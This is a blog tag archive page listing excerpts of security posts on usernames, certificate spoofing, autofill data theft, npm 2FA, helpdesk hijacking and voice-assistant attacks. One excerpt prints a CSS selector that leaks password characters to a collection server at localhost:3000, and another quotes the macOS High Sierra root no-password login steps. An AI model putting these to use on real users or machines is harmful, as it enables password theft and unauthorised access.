-
Recent Posts
Archives
Categories
Meta
Tag Archives: security
The problem with usernames
In “Let’s talk about usernames” James Bennett – author of django-registration – digs deeper into an at first seemingly simple thing such as usernames and how to keep ‘m safe and unique. And no, you can’t make it by just … Continue reading
CSS Keylogger (and why you shouldn’t worry about it)
Leveraging CSS attribute selectors it – in theory – is possible to write a keylogger in pure CSS. The selector below for example targets all input[type=”password”] elements whose last character is an a: input[type=”password”][value$=”a”] { background-image: url(“http://localhost:3000/a”); } The theory … Continue reading
Extended Validation Is Broken
https://stripe.ian.sh/ is an interesting site by Ian Carroll. See it? Take a closer look at the certificate. Yes, that’s one for “Stripe, Inc” … but, that’s not “Stripe, Inc” is it? This site uses an EV certificate for “Stripe, Inc”, … Continue reading
“Username or Password Incorrect” is Bullshit
There’s a security best practice where sign ins aren’t supposed to say “password is incorrect”. Instead they’re supposed to say the “username or password is incorrect”. This “best practice” is bullshit. […] You gain no security, yet your customers lose … Continue reading
Stealing Usernames, Passwords, and other (Personal) Data via Browsers and NPM Packages
👋 This post also got published on Medium. If you like it, please give it some love a clap over there. Late 2016, Stoyan Stefanov published “Oversharing with the browser’s autofill”. It’s an article on stealing personal data using the … Continue reading
Login with root and no password on any mac running macOS High Sierra
This tweet is currently making rounds on Twitter: You can access it via System Preferences>Users & Groups>Click the lock to make changes. Then use "root" with no password. And try it for several times. Result is unbelievable! — Lemi Orhan … Continue reading
TIP: Enable Two Factor Authentication (2FA) with your NPM account
Since early October it’s possible to enable Two Factor Authentication with your NPM account. 2FA is another layer of defense for your account, preventing third parties from altering your code even if they steal or guess your credentials. This is … Continue reading
Ticket Trick: Hacking companies through their helpdesk
Clever way, unearthed by Inti de Ceukelaire, to getting access to private communications channels (such as Slack) by leveraging the create-by-email feature of issue trackers/the helpdesk of a company. First target of Init was Gitlab’s Slack channel: Anyone with a … Continue reading
DolphinAttack: Hacking Voice Assistants with Inaudible Voice Commands
About a year ago it came to my attention that voice assistants such as Siri can lead to easily exploitable security issues. As voice assistants are not aware who is talking to them, it doesn’t matter if it’s you or … Continue reading
Keystroke Recognition Using WiFi Signals
We’re all doomed: In this paper, we propose a WiFi signal based keystroke recognition system called WiKey. WiKey consists of two Commercial Off-The-Shelf (COTS) WiFi devices, a sender (such as a router) and a receiver (such as a laptop). The … Continue reading